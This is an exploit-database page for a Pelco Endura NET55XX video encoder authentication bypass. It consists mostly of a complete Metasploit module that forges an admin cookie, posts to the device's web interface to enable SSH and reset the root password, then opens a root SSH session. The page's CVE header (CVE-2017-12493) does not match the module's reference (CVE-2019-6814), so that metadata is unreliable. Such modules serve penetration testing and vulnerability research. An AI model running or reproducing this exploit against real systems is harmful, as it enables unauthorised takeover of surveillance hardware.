Exploitalert - Database of Exploits

Schneider Electric Pelco Endura NET55XX Encoder Authentication Bypass (Metasploit)

CVE	Category	Price	Severity
CVE-2017-12493	CWE-287	Not specified	High

Author	Risk	Exploitation Type	Date
Metasploit	High	Remote	2019-08-14

CPE
cpe:cpe:/a:schneider-electric:pelco_endura_net55xx_encoder

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019080048

Schneider Electric Pelco Endura NET55XX Encoder Authentication Bypass (Metasploit)

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Schneider Electric Pelco Endura NET55XX Encoder", 'Description' => %q( This module exploits inadequate access controls within the webUI to enable the SSH service and change the root password. This module has been tested successfully on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions. ), 'License' => MSF_LICENSE, 'Author' => [ 'Lucas Dinucci <[email protected]>', 'Vitor Esperana <[email protected]>' ], 'References' => [ ['CVE', '2019-6814'], ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ "Universal", {} ] ], 'Privileged' => true, 'DisclosureDate' => "Jan 25 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]), OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10]) ] ) register_advanced_options( [ OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]), OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def new_password datastore['NEW_PASSWORD'] end def check xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\ '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\ '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\ '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\ '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\ '<a:ReplyTo>'\ '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\ '</a:ReplyTo>'\ '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\ '</Header>'\ '<Body>'\ '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\ '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\ '</Probe>'\ '</Body>'\ '</Envelope><?xml version="1.0" encoding="UTF-8"?>' connect_udp(true, {'RPORT' => datastore['UDP_PORT']}) udp_sock.put(xmlPayload) resp = [] resp << udp_sock.get(datastore['TIMEOUT']) xmlResponse = resp.join(',') disconnect_udp if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508") return Exploit::CheckCode::Appears end CheckCode::Safe end def change_password print_status("#{peer} - Attempt to change the root password...") post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'), 'data' => post, 'headers' => { 'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647', 'Content-Type' => 'application/json;charset=utf-8' } }, timeout=datastore['TIMEOUT']) fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200 print_good("#{rhost}:80 - Successfully changed the root password...") print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}") end def do_login change_password print_status("#{rhost}:22 - Attempt to start a SSH connection...") factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => 22, :use_agent => false, :config => true, :password => new_password, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(datastore['RHOST'], 'root', opts) end rescue Rex::ConnectionError rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:22 SSH - Disconnected during negotiation" rescue ::Timeout::Error print_error "#{rhost}:22 SSH - Timed out during negotiation" rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:22 SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}" end if ssh conn = Net::SSH::CommandStream.new(ssh) return conn end end def exploit conn = do_login if conn print_good("#{rhost}:22 - Session established ") handler(conn.lsock) end end end

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